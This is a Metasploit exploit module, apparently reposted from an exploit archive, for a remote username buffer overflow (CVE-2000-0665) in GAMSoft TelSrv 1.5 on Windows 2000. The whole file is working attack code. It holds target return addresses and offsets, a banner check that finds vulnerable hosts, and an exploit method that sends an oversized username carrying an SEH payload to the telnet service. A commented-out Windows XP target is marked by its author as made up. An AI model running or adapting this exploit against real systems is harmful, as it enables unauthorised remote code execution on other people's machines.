GAMSoft TelSrv 1.5 – ‘Username’ Remote Buffer Overflow (Metasploit)
## # $Id: gamsoft_telsrv_username.rb 9583 2010-06-22 19:11:05Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow', 'Description' => %q{ This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5. Other versions may also be affected. The service terminates after exploitation, so you only get one chance! }, 'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9583 $', 'References' => [ [ 'CVE', '2000-0665'], [ 'OSVDB', '373'], [ 'BID', '1478'], [ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ [ 'Windows 2000 Pro SP0/4 English REMOTE', { 'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL 'Offset' => 1886, } ], [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)', { 'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL 'Offset' => 3318, } ], [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)', { 'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL 'Offset' => 3358, } ], =begin [ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL 'Offset' => 2600, # this is made up and absolutely wrong ;-) } ], =end ], 'DisclosureDate' => 'Jul 17 2000', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(23), ], self.class) end def check connect print_status("Attempting to determine if target is vulnerable...") select(nil,nil,nil,7) banner = sock.get_once(-1,3) if (banner =~ /TelSrv 1\.5/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...") connect print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep. select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not. username = rand_text_english(20000, payload_badchars) seh = generate_seh_payload(target.ret) username[target['Offset'], seh.length] = seh print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...") sock.put(username) select(nil,nil,nil,0.25) print_status('Exploit sent...') handler disconnect end end |